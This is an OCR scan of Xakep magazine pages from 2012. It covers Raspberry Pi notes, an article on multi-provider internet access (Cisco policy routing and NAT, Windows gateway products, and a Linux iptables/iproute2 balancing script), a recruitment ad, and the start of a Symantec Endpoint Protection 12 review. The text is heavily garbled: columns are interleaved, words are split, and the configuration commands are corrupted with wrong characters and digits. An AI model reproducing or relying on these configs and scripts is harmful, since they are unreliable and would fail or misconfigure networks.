оче нь расnространенная ОС реального времени
журнала с такой рекламой его стоимость не
меняется - за все nлатит рекламодате ль !а это,
- MiniOS, ос н ова нная на МiсгоС/05-11, но э н тузиастам уд алось поставить Linux. Потом они
А те открытые, что есть, наnисаны сообще
кстати, недешево - минимум
nриnаяли 5 0 -карточку, засунули все это в кор
ством самостоятельно. Надеюсь, скоро nро
nус !отлич н о n о д ошел от Sony PSPI- получился
изво д ители одумаются и переймут nодход
50 долларов
за
экземnляр!.
ме диап леер с т оимостью меньше
П ока в нашей с тр а н е э т а технология nри меняется не очень широко- всего, насколько
Те n ерь
Linu x можно
5 долларов.
nоставить и на журнал.
основная загвоздка с
ARM SoC- драйвера
видеоадаnтеров nрактически все закрытые.
lntel no
отношению к драйверам под
Linux.
::х:
RASPBERRY Pl Ядро ОС и пользовательские файлы размещаются на карте па мяти
SD, ММС
или
- -·-·.:.: 1 ...
·
SDIO .
Разработчики предлагают на выбор обра з ы нес к оль ких свободных ОС- DeЬian
<< Squ eeze>>, Arch Linu x ARM и Fedora 14 Remi x !nланируется версия на Fedora 171. Последняя
'-
ре к о мен дуется для новичков.
В поставку включены реда кт оры
vi m, gedit, AЬiWord , Gnumeric, GIMP, браузер Firefox, инте рnретаторы Pytho n, Perl , Ruby и bash, инструменты администрирования !включая SSHI и работы с Git, а также принт с е рвер . Ядро Linu x 3.1.9, nрошивка Raspberry Pi, QuakeЗ и некоторые инструменты достуnны на github (githu b.com/raspberryp i J.
Нашумевший
- • nродажи RаsрЬеггу Pi стартовали 29 февраля 2012 года .
Raspberry Pi
• Довольно много
инфы на русском по поводу плееров из
Vogue lв том числе
• Lant·гonix Evolution 05 содержит НТТР сервер, SSH, Telnet,
инструкции по
прошивке Linuxl: qoo.qi0 DFW9;
FТР, nоддерживает SSLvЗ ,
DHCP,
SMTP, SNMP, 1Pv6.
РРР и
•
Видеодемонстра
Gentoo
~----7~
• DARwln-OP играет
~.:--:3: -.-
ция гитары на
qoo ql/v6Ko;
COMMUNICATION ROBOT
шauarnaru
• Информацию о состоянии ХРогt Pro можно получать nри nомощи RSS и syslog, nередача данных и настроек производится при
помощи
• Для
XML.
настройки
ХРогt Рго можно использовать
веб-интерфейс или
С i sсо-подобны й консольный CLI, доступный через SSH, Telnet или nоследовательный порт.
EPIDEMZ.NET
в футбол :
qoo.qliV4KZa.
"'"'
:.~
SYN/ACK
Сергей Яремчук (grinderlдsynack.rul
НАСТРАИВАЕМ ВЫХОД В ИНТЕРНЕТ ЧЕРЕЗ РАЗНЫХ
ПРОНАЙДЕРОВ
Бизнес сильно зависим от стабильного
НАСТРАИВАЕМ
и быстрого интернет-подключения, которое
является одним из основных условий работы многих организаций . Цена на услуги уже не кусается, поэтому наличие каналов от
нескольких провайдеров давно не редкость дажевнебольших компаниях и домашних сетях. Остается открытым вопрос, как правильно
сканфигурировать работу с несколькими каналами .
CISCO
Некоторые железки даже сре днег о ценового диапазона мо г ут
использовать два канала для подключения к интернету . Найти нужное ус тр ойство просто- в ха рактери с тика х должно быть указано
2x WAN lк т аким девайсам относятся, к пример у, 0-L iпk OSR-500/1000, О гауТеk Vigor, Cisco RV042/0821 либо Multi-WAN ICisco RV016, TP-Liпk TL-R4299G и др у г ие !. Е сли повезет, то мож но найти с н ятую с производства «к ла ссику» - 0-Liп k OI - LB604 - недорогой и удобный в настройках роутер, обеспечивающий балансировку нагрузки «ИЗ короб.ки>> . Сейчас на е Ва у можно разыскать Сisсо'вский маршрутизатор
с серьезными возможностями п о у правлению трафиком бук
вально за треть цены, е г о могут п озволить себе даже небольшие фирмы. Е с л и пока такой игрушки н ет, то можно потренироваться
ХАКЕР
116
EPIDEMZ.NET
05/160/2012
Главные магистрали
-
.
'D - •
•
D ~
тermtмl
lr ~ lr
•·eserved vatues
~
tocal u in
Shoreva tl version 4 . 8 · Sa11pl e Rutes File fo r nю-inter fa ce configura tion. Copyrigh t (С) 2886,2887 Ьу the Shorewal\ Теа•
~ Тhis li b гa ry is tree s oftware ; you сап red istri bute it and/o r
IIOdify i t under t he terws of the GNU lesse г ~nera t Puьti c ~ License as puьtished Ьу t he Free Softv.Jre Founda ti on; eithe r ~ version 2 . 1 of the license , о г (at уоu г option) any lat~ г v~ rsi o n.
defau\ t
,
unspec
loca t See the file READttE.txt f or fu rth~г details.
88 is pl 81 isp2l
F ог infoгaati o n
about
~nt г i~s
in this
fil~.
type •.an
sh o гewa ll-гul~s·
~~:'"'H#I~=~IННI##I~~I#U::=~~~ ·=:~IIНII##II=~~ PORT Acc~pt
DNS
SFW
DNS(ACC E PТ)
Accept
Exit
1
Wri teOut
Justify
1
Read File Wheгe
Is
1
Prev Page Next Page
1
Cut Text UnCut Tex·t
1
fгоа th~
fi revalt to
fгоа
Spel t
То
В /etc/iproute2/rt_taЬies прописываем таблицы для каждого провайдера
I
1
Get Hetp Exit
S
the l ocal
n e tvoгk fог a d •inistгa ti on
SFW
!ос
A\low Ping f ro• the l ocat n~two, ijjг~ k ~-~1111!
Cur Pos
DE SТ
PORT( S )
th~ n~tvo гk
not
SSН conn~ct i o ns
SН(АССЕ РТ)
Ge t He t p
conn~cti o ns
WriteOut Justify
Shorewall- удобная
1
Read Fil~ Is
Whe гe
надстройка для
.P r~v Page N~x t Page
1
Cut T~xt UnCut Tut
1
Cu r Pos То Spett
Netfilter
на различных сценариях при помощи симулятора GNSЗ [ gпsЗ . пеt ]
и работать с серверами из
или
Packet Тгасег. Многие маршрутизаторы поддерживают про токолы динамической маршрутизации RIP, BGP, OSPF и другие [см. статью «Динами м сеть>> в][ #12 2011], но мы б удем исполь зовать гибкий механизм маршрутизации па кетов Policy-based гouting [PBR], который в работе опирается на несколько пара ме тров: IР-адрес источника, порт назначения, QoS. Чтобы лучше
для
понять технологию, советую познакомить ся с документацией
к
DMZ,
настроим маршрут по умолчанию
ISP2:
ip route
е.е.е.е е . е.е.е
FastEthernet1/e
Те перь прист у пи м к п о строению карт маршрутов PBR, опреде
лим при nомощи access-l ist н у жный трафик [не направленный
DMZ].
cisco .com/e n/US/hmpgs , где подробно расписаны многочислен ные сценарии: в большинстве случаев достаточно взять за осно ву наиболее близкий и адаnтировать к своим условиям. Наличие двух интернет-подключений nредполагает несколько вариантов
использования второго канала: nостоянное [одновременно
ip access-list extended Services deny ip any 3.3.3.0 е.е.е.255 permit tcp any any eq ssh deny ip any any
с первым для балансировки нагрузки] или как резерв [в случае
если nервый недоступен]. Соответственно, будут отличаться
Создадим к арт у маршр у тов для критического трафика Seгvices ,
и настройки. Позтому возьмем обычную для многих организа
к от о рый б удем отправлять чере з основной канал, и применим его
ций схему: два WАN-соединения: основное с широкой полосой
к
пропускания [ISP1], второйлинк-узкий канал с меньшей скоростью [ISP2]. Со стороны LAN имеем сеть ПК за NAT и DMZ с несколькими серверами. Мы д олжны разрешить достуn из в
LAN
WAN и DMZ, а также сдела ть внутренние сервера видимыми
LAN.
route-map critical permit 1е match ip address Services set interface FastEthernete;e FastEthernet1/e
извне. Кроме того, определенный/критический трафик [в приме ре пусть будет SSH] будем направлять по << толстому» каналу . Чтобы было понятней, разделим настройку на эта пы . Внача ле займемся маршрутами, а
описываем ин терфейсы :
1
NAT настроим позже. Первым делом
interface FastEthernet2/e description LAN ip policy route-map critical Принцип простой: если пакет не проходит по таблицам гoute
interface FastEthernete;e description ISP1 ip address 1.1.1.1 255.255.255.252
map, о н б удет направлен через ISP2. Трафик , совпадающий с Seг v ices , будет направлен на ISP1, но в правиле прописаны оба интерфейса, поэтому в случае падения канала ISP1 будет ис пользован ISP2. В итоге имеем небольшой уровень резервирова
interface FastEthernet1/e description ISP2 ip address 2.2.2.2 255.255.255.252
ния для отправки критически важных данны х . Можно повысить
отказоустойчивость, добавив метрики каналов:
ip route
е.е.е.е е.е.е.е
FastEthernete;e
interface FastEthernet2 /e description LAN ip address 192.168.е.1 255.255.255.е
DMZ
interface FastEthernet3 /e description DMZ ip address 3.3.3.3 255.255.255.е
ip access-list extended DMZ-To-WAN deny ip 3 . 3.3 .е е.е.е.255 192.1бВ.е.е permit ip any any
Чтобы пользователи из
ХАКЕР
1е
Теперь создадим access-list с nравилами настройки доступа из
LAN могли подключаться к интернету
в
WAN:
route-map critical_dmz permit
е.е.е.255
1е
117
05/160/2012
EPIDEMZ.NET
SYN/ACK
ДОПОЛНИТЕЛЬНО МОЖНО ПРОВЕРИТЬ МАРШРУТЫ,
ВЫПОЛНИВ
...................
TRACEROUTE
о
о
НА ЛЮБОЙ ВНЕШНИЙ САЙТ
21
~Р" .......___.__._..
............. ___ .,._• ....... r._.....__.......___....
~-.-
---___ __ ___ ____ ___....._~-
.............---~ ---~ ...,... ""
.!.,)r -..,..........._·_._-
match ip address DMZ-To-WAN set interface FastEthernet8/8
~г .......__..,.<-~
~-----..-..."""'---·
2Jг __...--~-~
interface FastEthernetЗ / 8 description DMZ ip policy route-map critical_dmz С маршрутами ра зоб рали с ь , осталось добавить
NAT: Активируем
interface FastEthernet2 /8 des cription LAN ip nat inside
Advanced Routing в Traffic lnspector
мож н о проверить маршр у ты , выполнив tгaceгoute на любой внеш ни й с а й т.
interface FastEthernet8/8 description ISP1 ip nat outside
ВИНДОВЫЕ РАЗБОРКИ Для настройки подключения к двум провайдерам в
Windows
м ож но пашаманить с утилитой гoute или использовать возмож iпterface
н ос ти консоли «Маршрутизация и удаленный до стуn >>, но особой
FastEtherпet1 /8
ги б к о сти в таком случае мы не получим. И здесь на пом ощь при
descriptioп
ip
паt
ISP2 outside
хо дят специализированные инструменты. Например , F oгefгo nt
TMG имеет функцию управления резервными WAN для исходя щего трафика - I SP Redundancy, которая позв о ля ет настрои ть
Теперь определим п ул для трансляции п а кетов ISP1 и зададим
б алан с ировку нагрузки или резервировать канал . П ричем для ее
две карты маршрутов :
ip
реали з ации можно использовать одну сете в ую карту [в Win2k8 мож н о назначить карте несколько IPI. Дл я настройки исполь
паt
pool LAN_2_ISP1 1 . 1 . 1.18 1.1.1.188 \ пetmask 255.255.255.8
з у ется специальный мастер - I SP Reduпdaпcy Coпfiguгatioп W i zaгd , в ходе работы которого предстоит выбрать режим
ISP Load Balaпciпg или ISP Fai l oveг и произвести установки по под с к азкам. Для Load Balaпciпg можно указать соотношение тра
route-map NAT_ISP1 permit 18 match ip address LAN mat c h iпterface FastEtherпet8/8
фика по интерфейсам. Правда, режим «многопровайдерности>> в
TMG имеет ряд ограничений, главное из ко торы х -IР -а др ес
должен быть статическим : если он при сваи вает ся при пом о щи
route-map NAT_ISP2 permit 18 match ip address LAN mat ch interface Serial2/8
DHCP, реализовать функцию невозможно. Есть подобные во з можности и в ряде других специа ли зирова н ных решений. Н апример, UseгGate Ргоху
паt
& F iгewall
при наличии
нескольких подключений к интернету позволяет с помощью правил
iпside
source route-map NAT_ISP1 \ poql LAN_2_ISP1 overload ip паt iпside source route-map NAT_ISP2 \ iпterface FastEtherпet2 /8 overload ip
NAT
распределять по ним разные группы пользователей: для этого
в правилах до с таточно выбрать
WAN, а затем указать конкретный
интерфейс . Кроме того , можно задействовать функцию « Р езервный
канал >> [Connect ion failo v eгl , nозволяющую в слу ч ае от каза о д ного
В результате трафик из сети 192.168.0.0/ 24 будет проходить
из линков переходить на одно или несколько резервных п о д клю
через т о т интерфейс, через который пришел. Все настройки можно
чений. В качестве ре з ерва можно ис п ользовать не т о ль ко Eth eгnet,
про смотреть командой
н о и Diai-Up [VPN, PPPoEI. Для активации и настройки Connection
«show ip nat tгaпslations >>. Д ополнительно
ИНТЕРНЕТ-ШЛЮЗ
IDECO ICS
В интернет-шлюзе ldeco ICS l ideco-softW.il.r.e....r.u.l, который построен на базе Linux ,
пользователей для выходавинтернет через
интерфейса принимается
определенный
соединение . Поддерживаютсябалансировка
поддерживается подключение к нескольким
проверяет наличие связи с провайдером
нагрузки, шейпинг и разные виды
провайдерам и функция резервирования
и в случае необходимости переключает на
ограничений трафика lпо типу, ключевым
каналов. В правилах можно разделить
альтернативный канал . В качестве
словам , протоколам и портам) .
WAN .
Система автоматически
118
WAN-
VPN-
и РРРоЕ
ХАКЕР
EPIDEMZ.NET
05/160/2012
Главные магистрали
failoveг достаточно перейти в «Сервер UseгGate перевести нужное подключение в режим
WAN
-7
Интерфейсы»,
и запустить мастер
ботиться об отележивании состояния каналов и в случае сбоя одного из ни х nроизвести перестройку та блиц. Тем, кто nредnо
кнопкой, которая расположена в поле « Р е з ервный канал» . Далее
читает iptaЫes, советую познакомиться с Shoгewall[ shoгewal l.
три про с тых шага: выбираем резервный
net ], который научился управлять трафиком в двух и более каналах, начиная с версии 2.3. Проект nредлагает заготовки
WAN,
указываем в на
стройках несколько контрольных ресурсов, по доступности которых UseгGate принимает решение о переключении на резервный
конфи г о в [после установки лежат в /usг/shaгe/doc/shoгewall/
канал, и выставляем тайм-аут. Когда соединение появится вновь,
предыдущие f1астройки восстановятся. Кроме того, в Tгaffic Manageг
examples], которые достаточно nодnравить под свои условия. Далее рассмотрим, как nодключиться к дв ум ISP, опираясь на
задается лимит скорости и приоритет для каждого интерфейса,
возможности ipгoute2 .
Создаем в /etc/ipгoute2/гt_taЫes две таблицы для каждого nро
а система уnравления трафиком позволяет регулировать потре
бление ресурсов по учетной записи, подсети, времени, IР-адресу
вайдера, д обавив две строки :
и порту источника.
Не менее популярный продукт Tгaffic lпspectoг l sma г t - soft . гu ] обладает возможностью уnравления загрузкой каналов достуnа
при помощи функции
Advanced Routing.
Эта система позволяет
$ sudo nano
/etc/iproute2/rt_taЫes
1131 ISP1 1132 ISP2
nолноценно исnользовать несколько nодключений и направлять Создаем скрипт, указав в качестве переменных данные nро
н у жный трафик, а также трафик отдельных nользователей или групп на указанные подключения . Используя фильтры, можно
вайдеров и
LAN:
гибко управлять этими перенаправлениями, задавая расписа
ния , nротоколы, адреса, сети и nорты. Например , для
VoiP
можно
#! / Ьin / sh
задать наибольший nри оритет и толстый канал. В последней
#
версии фильтры nозволяют исnользовать в сnисках регулярные
li_net= 1e.e . e.e t в
Локальная
ISP
сеть
выражения, поэтому сайты разных тематик легко « раскидать>> по каналам. Для активации Advaпced
Routing
следует запустить
мастер настройки служб Tгaff ic lnspectoг и на шаге «Опции конфигурации » установить флажок в окне <<Маршрутизация по
условию
-7
Advaпced Routiпg» . На следующих шагах мастера
необходимо правильно отме т и ть
WAN-
и внутренний интер
# ISP1
i1_eth=ethe i1_ip=1.1 . 1. 1 i1_net=1.1 . 1.13/ 24 i1_gw=1.1 . 1.2
фейсы. В качестве WАN-интерфейсов можно использовать все исходящие, которые видны в окне сетевых настроек, в том числе
# ISP2
и Dial-lп. Чтобы
i2_eth=eth1 i2_ip= 2.2 . 2.2
лись как
RAS
и
DiaiDemand
WAN , следует
автоматически nодхватыва
nоставить соответствующий флажок на
шаге << Внешние интерфейсы » .
i2_net= 2.2 . 2.2 / 1б
В поnулярном nр одукте для организации д оступа к интернету
i2_gw= 2.2 . 2. 1
Кегiо Coпtгol[ keгio.гu ] также реализована возможность исnоль зования нескольких подключений с расnределением нагрузки
#
или резервированием канала с автоматическим переподключе
l_eth=eth2 l_ip=192 . 168 .13.1 l_net=192.168 . 13.13/ 24
нием.
НАСТРОЙКИ В LINUX В
Linux
настроить подключение сразу к двум и более правай
Домашняя
с еть
Создаем таблицы для роутинга па кетов и очищаем значения.
дерам без исnользования протоколов динамической маршру тизации можно несколькими способами. Все они в той или иной
мере базируются на возможностях ipгoute2 и iptaЫes/Netfilteг.
isp1=1131 isp2=1132
Правда, есть один недостаток- необходимо самому поза-
iptaЬles
-
-·".._
6 ~;:...~
: $UserGate
,.., ..., _
-t mangle -F NEW_OUT_CONN
s:::=~ ~ =:,.";,:
.,__-
i=
е ~ ---
8.,:= __ .__.
lt2.111. 10. 1....
__ --
1! 1 .!..~
~te
Pto.y&F•8МIII
.
t
..... ,. . . ,. _, .11.
:"":-':::. ~ -
~··
~,. =--
-- - ~-"
-'1
~-
1- ---
=f:i. 8 ~ f•tllt"'"'-
0в•а
-~
г -- ·.
"*' -
~~--
-r .... ....
--~--
~ ::._
m.Jai:L I4t
<) -
~ ~~~fN • С! «> ~
!-"
1
____j __j ....=....
~о- ~
,.........
,~~ ~
-
,.."'":! Мастер настройки резервного канала в
ХАКЕР
UserGate
~ fi
В правилах
" "< ~
1
j а~ , · р. ~нь ~;.':: •
UserGate можно задать интерфейс
119
05/160/2012
EPIDEMZ.NET
SYN/ACK
...
fi done Теперь осталось « расставить >> пакеты по подключениям.
-t mangle -А PREROUТING -d $l_net -j RETURN -t mangle -А PREROUТING -d $li_net -j RETURN iptaЬles -t mangle -А PREROUТING -s $l_net -m state \ · --state new,related -j NEW_OUT_CONN iptaЫes -t mangle -А PREROUТING -s $l_net -j CONNMARK \ --restore-mark iptaЬles -t mangle -А OUTPUT -d $l_net -j RETURN iptaЬles -t mangle -А OUTPUT -d $li_net -j RETURN iptaЫes -t mangle -А OUTPUT -s $l_net -m state \ --state new,related -j NEW_OUT_CONN iptaЬles -t mangle -А OUTPUT -s $li_net -j CONNMARK \ --restore-mark iptaЫes iptaЫes
'
-~ С.•-
---- -·-·-··--- _ ·---""! . '-
о.-
. мt-....- ...- · · ··· - -
·• 011-- ..- · .... ·-
--ТCf',I,IOI>, Oia:-ICW
• ,. _ _,..,~-~~.- . . . . . . . _ _..... 0/loo)
......__....
. FOIII:f--m.--.. _ ,, ...,......
.
.....
~
.......
_...~~~
М.U..'ZSS.Izu.t\Ut.Js---_.,_.,.,oooмя•noo_ ... _,o.oo. •~
• 1u.u.f11 ....... t~----.........,...,,_..".,OJ00011fll-'11t,..... _ _ .,_,tsU1011'0 • ........,..I.U,IfJ -.....o..I _
• •
~~
_....... ..
,_I/O..oiO.:IOII.O:W• ...... • • - - - , . . _ ........ J
....... -JICP -_.~---IQ20110Cin l .......... to ...... _ _ _ a , _ " , ... _ k J _ _ _ .. _.....,.._I01J.J
МЦ8&.1 1 1o..a.e..-~ICP - o t<oц:l'--1,.1t.2011.0Cin O .._.•>ICI_.
М..U M t.u.~-• WIJICI' -hllloot- ooo Nif\oSO'Ii.ТCI'-IМI\0300~-I ,.IOOOQIICI'Uir<_ ............... J .• ru.••u1• .......,""......_. _ _ _ , ,_.. _ _ .. -•oao • , _.,...,.....,._..".,n,м•OI1•••--
Создаем таблицы маршрутизации : В интернет-шлюзе
ldeco можно
настроить выход в Сеть через разных пронайдеров
-t mangle -F PREROUTING -t mangle -F OUTPUT iptaЬles -t mangle -Х NEW_OUT_CONN ip route fiush tаЫе $isp2 ip rule del taЫe _ $isp2 ip route fiush tаЫе $ispl ip rule del tаЫе $ispl ip route fiush cache iptaЬles iptaЬles
Маркируем пакеты, используя метод гапdоm. Принцип простой: о тмечаем все пакеты как
«1>>, затем
с некоторой вероятн о стью
вы х одим из цепочки. Если не вышли , перемар к ир у ем в
<< 2>>
[ при
не обхо димости трафик можно помечать и дальше! .
-t mangle -N NEW_OUT_CONN -t mangle -А NEW_OUT_CONN -j CONNMARK \ --set-mark 1 iptaЫes -t mangle -А NEW_OUT_CONN -m statistic \ --mode random --probability е.бе -j RETURN iptaЬles -t mangle -А NEW_OUT_CONN -j CONNMARK \ --set-mark 2
ip route add $l_net dev $l_eth scope link tаЫе $ispl ip route add $i2_net dev $i2_eth scope link tаЫе $ispl ip route add $il_net dev $il_eth scope link src $il_ip \ tаЫе $ispl ip route add 127.e.e.e;s dev lo scope link tаЫе $ispl ip route add default via $il_gw tаЫе $ispl ip rule add prio 51 fwmark 1 tаЫе $ispl ip rule add from $il_ip tаЫе $ispl ip route add $l_net dev $l_eth scope 1ink tаЫе $isp2 ip route add $il_net dev $il_eth scope link tаЫе $isp2 ip route aqd $i2_net dev $i2_eth scope link src $i2_ip \ tаЫе $_ isp2 ip route add 127.e.e.e;s dev lo scope link tаЫе $isp2 ip route add default via $i2_gw tаЫе $isp2 ip rule add prio 52 fwmark 2 tаЫе $isp2 ip rule add from $i2_ip tаЫе $isp2
iptaЬles
И п о д конец сбрасываем кеш маршр у тизации:
iptaЬles
ip route fivsh cache В с е , можно проверять.
ЗАКЛЮЧЕНИЕ Так как первый канал у нас шире, в него б удем направлять
60% с оединений.
Если каналы равнозначные , вме с то сл у чайной
балансировки можно использ о вать режим г о uпd гоЬiп [при по мощи
«1m пth >> l,
Теперь настройка подключения к нескольким провайдерам для т е бя не б удет сложной задачей. Осталось лишь выбрать нужный инстр у мент. :Х:
но это дело вкуса, мне больше нравится гandom.
В процессе настроек нам понадобится отправить определенный трафик в нужный канал , позтому маркировать его надо отдель но. Эту задачу можно решить разными способами. Например ,
со з дадим текстовый файл [назовем его /etc/гouting/ i sp1scгipt . listl, в нег о запишем IР-адреса, к которым необ х одимо подключаться только чер е з основного провайдера. Затем добавим правило
ОБЪЕДИНЕНИЕКАНАЛОВ
В
WINDOWS SERVER 8
маркировки .
ISPlNet= "/ etc/routing/ ispscript . list"
• Документация
по различным
сценариям Cisco: cjsco.com/en/US/
h.!!!Jш;
• сайт проекта Shorewall: В грядущей
Windows Sегvег 8 заложена
возможностьобъединенитьдо32сетевых
for file in $ISP1Net; do if [ -f "$file" ]; then { cat "$file" ; echo ; } J while read ip_addr; do if [ "$ip_ addr" ! = "" ] ; then iptaЫes -t mangle -А NEW_OUT_CONN -d $ip_addr \ -j CONNMARK --set-mark 1 fi done
-
интерфейсов в один виртуальный
tion),
[link aggгega
обеспечивая таким образом большую
пропускную способность, балансировку нагрузки и автоматическое резервирование.
Ранеедляэтоготребовалисьутилиты сторонних разработчиков и однотипные сетевые карты. Все настройки производятся в консоли
NIC teaming.
shorewall net;
•
сайт Traffic
-
• сайт Kerio Jшibl.u_.
Cisco
nомогут разобраться эмуляторы- GNSЗ
Packet Тгасег.
ХАКЕР
EPIDEMZ.NET
Control:
В настройках
или
120
lnspec-
tor: smart-soft ru;
05 / 160/2012
* * * * * *-
****** •
1-
; "".
;{.- --~- •ЖУ,на11 Хакер ищет кандидатов '
1
на да~жна~:ть редактар_а
.· .- . pyбpиJ.QI_ Взnом ...
"'
.
z '""
-Dcн~Bilьlli • npимeты: •
"'
~
.1
~
"'
..
• На вид 18-28 nет • Читает журнаn Хакер и мечтает в нем nарабата~ -• Знает сnава «XSS» и «Неар averflaw» __ . • Умеет и mабит nечить SОL-иН'Ьекции а..- сnеnатъ1 . _ _ _ • ~ ;курсе, чем nuU-byte атnичается от ifiglфyll!l -, . . :- ·_-.Предnочтет nоездку на Black Hat anкaтypy · li Ебиnте
": i ": -~" С nepвara _раза атnичает хорошую статью от махай
f .•,
~~,~ __,.. • Сnособе~ связать б1111Ьwе 5 сnав в читаемое nредnажение- :>;~:~ -r!.1-~ ;· ·_ -- • rат.ав к жесткой рабате па вербовке навьа авторов · · , • У:меет читать технические тексты на анrnиискам . · ··•· -
.....
. .· . . ......
EPIDEMZ.NET
·
SYN/ACK
Сергей Яремчук lgrinderГc!synack.rul '
НАСТ~ корпоративнь1х интересов
ОБЗОР
SYMANTEC ENDPOINT PROTECTION 12 Выбор корпоративного антивируса- дело не простое и требует тщательного изучения
претендентов. Современные решения часто предлагаются в виде комбайна, который содержит дополнительные компоненты
вроде брандмауэра и
IPS,
перекрывая все
пути возможного заражения и снижая
риски. Именно так устроен
Endpoint
Pгotection
Symantec
12.
122
ХАКЕР
EPIDEMZ.NET
05/160/2012
На с траже к орпоративны х интер е сов
Spedfyh- r - ., ...... , _, ....... part, WI!Ьconsole-port, dert CXIIМU"8c88ion
., _
port, .,_.canrupart, 8nd.......erdUic*l!rtorthe~МFY'!f"thllyauw.llto
hst81orCII:Inf9n.
-.....
·---
..............,7_
liJ
(J
~
ElldrpoiriiS....
Пno\Con
--'·
·--
~
т-~ ·
@
../Symantec.
.
!=---·-·--! с..,.......
....... ~
ВОЗМОЖНОСТИ
Веб- к он с оль
SEPM
SYMANTEC ENDPOINT PROTECTION 12
SEPM
--
- ..-.- _~
о
а
~ - -- ..... - . ...... VitwDIIIIIt
ггггr-
Определяем номера сетевых портов, используемы х компонентами
-------
-.~ ---.,_~~,_к-
имеет все возможности, доступные локальному менеджеру
мерно г о рас п ре д еления на г рузки с реп л ика ц ией д а нны х, быс тр о г о
Ко м пания Symaпtec извест н а н а рынке а н тивирус н ого ПО не п ервый
восс т анов л ения и организации ие р арх и чес к ой с т рук т ур ы , обес п е ч и
го д . Многие, наверное, еще помня т N огtоп Aпtiviгus, который стоял
вающей удобст в о уnравления и д е л егирова н ие пол н омочий. Все настройки производятся п ри помощи веб - или локальной
на п одавляющем большинс т ве П К в начале века и успешно отбивал атаки вирусов. Он и сегодня выпускается Symaпtec, правда, назы
консоли Web Access [порт
вается Noгton lnteгnet Secuгity. Корпоративный же сектор защища
нием Java. Их внешний вид и функ ц ио н ал ь н ы е в озможности схожи .
ет серия Symantec Endpoin t P гotectioп, состоя щ ая из трех решений :
90901,
ко т орые построены с использова
Консоль может инте г рироватьс я с др у г ими п ро дуктами
En dpoi nt P гotectioп Small B usiпess Е ditiо п - д ля небольших
Symantec, в частности с P гo t ec t ion C en te г, обеспе чивая ед и н ую
ком п а н ий [не бо л ее
среду управления безопасност ь ю и поз в оляя быстрее р еа ги ро ва ть
100 по л ьзова т елей ! ,
простая установка и на
стройка, все данные хранятся на локальных системах;
на новые угрозы. Компонент IT Analy ti cs расшир я ет функ ц ии отчет
Endpoint P гotection . cloud - реализация в виде SaaS, когда нет
ности Endpoint Pгotection за счет д о п о л нитель н ых фу н кций а н ализа
необходимости в раз в ер ты вании собственной инфраструктуры
и графического представления дан н ых.
Д ля хранения настроек и инфо р ма ц ии о клие н тах ис п о ль зуе т ся
управления, обеспечивает защитуWindоws-систем в организа ц иях д о
СУБ Д . Для се т ей, насчиты в аю щ их д о
250 П К;
5000
сис т ем с о дн им се рв е р ом
Eпd p oi n t P гotect i oп - н аибо л ее ос н аще нн ое решение, обеспе
управления, можно испол ь зовать в с т рое нн ую базу д а нн ых, ко т о рая
чиваю щ ее защиту рабочих с т анций и серверо в , работающих под
устанавливается автоматически и не требует допо лн и т е л ьного кон
управле н ием раз л ичных ОС и в иртуаль н ых сред, предназначен
фигурирования. Е сли клиентов бол ьш е или планируется р азве р нуть
д ля ор г анизаций с числом пользователей более ста.
несколько Е Р Manageг с репликацией д а н ных или ба л а н сиро в кой нагрузки, следует перейти на MS SQ L Sе г vе г.
Д алее буд ем знакоми ть ся с Eп d point Pгotectioп, версия SEP
RU1
к о т о р о г о стала д ос т у пн а в н оябре
2011
В агент, устана в ливаемый н а к о н еч н ые систе м ы, инт е г риро ван о
12.1
го да .
нескольких механизмов защиты :
Р е ш ение ос н ова н о на к ла сси ч еской для корпоративных анти
антивирус, обеспечивающий защиту от вирусо в , п р о г рамм
вирусо в клиент-сер в ерной архитектуре . Сервер E пdpoiпt Pгotection
шпионов, троянцев, ботов и ру т кито в ;
Manage г ис п ользуется для ц е нт ра л изованно г о управления лицензия
брандмауэр на основе правил и 105 - защищает отсе т е в ых а т ак
ми, настройками, об н овле н и ям и агентов и баз, а т акже для сбора дан
и предотвращает загрузку вре д оносных программ;
ных о состоя~ии защи т ы и для построения от ч етов. В терминоло г ии Symantec соз д аваемая пр и п омо щ и SEPM струк т ура называетс я сайт.
модуль Appl ication and Device Contгol- кон т ро л ь п р иложени й
В сети може т бы ть несколько се рв еров, сай т ов и д оменов для равно-
пьютер.
ТЕХНОЛОГИИ, ИСПОЛЬЗУЕМЫЕ В В продукта х от
Symantec
исnользуется ряд
и устройств, которые может за п ускат ь пользовате л ь ил и ко м
SEP
и и с точник расnространения , на основании
и у зконаправленные угрозы по результатам
ме х анизмов , позволяющи х обнару ж ивать
чего д е лается вывод безопасности фа й ла .
ан а л из а и сопоставления с профилем .
и блокировать вредоносный Оdау-код :
Чтобы снизить нагрузку, интелле к туаль-ный
lnsight, SONAR и Bloodhound . Те х нология lnsight базируется на << датчиках >> ,
сканер проверяет файлы во вре м я простоя системы , поэтому пользователь н е зам е ча е т
е сли программа пытается выйти за пределы
расnоложенны х на миллионах комnьютеров .
работы антивируса . Те х нология
у становленного периметра , ее действия
Сопоставляя обмен данными между
использует поведенческо-репутационны й
а нализируются , а затем принимается
системами , анализируется возраст фа й ла
под х од- блокирует Оdау-уязвимости
решение о степени опасности .
ХАКЕР
SONAR
Проа к тивная те х нология Bloodhouпd и золирует некоторые области файлов, и,
123
05/160/2012
EPIDEMZ.NET
SYN/ACK
-
Vltus ancl Spyware Protectlon
ПРИПОМОЩИ
СПЕЦИАЛЬНОГОСЕРВЕРА
...
_,_,_
АГЕНТЬI ОБМЕНИВАЮТСЯ
РЕЗУЛЬТАТАМИСКАНИРОВАНИЯ
(; s-......,_____
--
---
ин т егри р уе т с я с
MS Out look
и
IBM Lotus Notes.
Кроме того,
1
клие нт а д а пт ир ов а н дл я п р и ме н е н и я в в и р т уаль н ой сре д е: о н упрощае т соз д ание п о л и т ик и уме н ьшае т нагрузку н а
VM
и коли
чест в о о п ера ц ий 1/0, в т ом чис л е иск л ючая ф ай л ы с т ан д ар т но г о
об р аза из п р оверки [ V i гtual lm a g e Exceptionl. Пр и п омощи специ ального се рв ера Sh a гed
ln si gh t Cache аге нт ы
1
$81оа:е--_
1
Г ~lillttvPnt~v--.ga.,."_
'Ш Р" Soon 10' .-.tуоЬЬ
e "" !llld<-t-t.-.--..~
1 -s-rq-_........_ 1
А г ент умее т п ро в ер ят ь п оч т у, п рихо дящ ую п о п ротоколам Р О Р З/
SMTP,
_
'ln rs:c-.,..._
=~~~~;~---ь--м--. 'Ъ Гs-.ам ... .-~
"
обме н и в аются резул ь
татами сканиро в а н и я , и о д и н аковые ф а йлы п р ове р яются т о ль ко о д и н раз, чт о сок р а ща е т н а г рузку н а сис т ему и умен ьш ает время
ки на неско л ьких Viгtual Sегvе г и
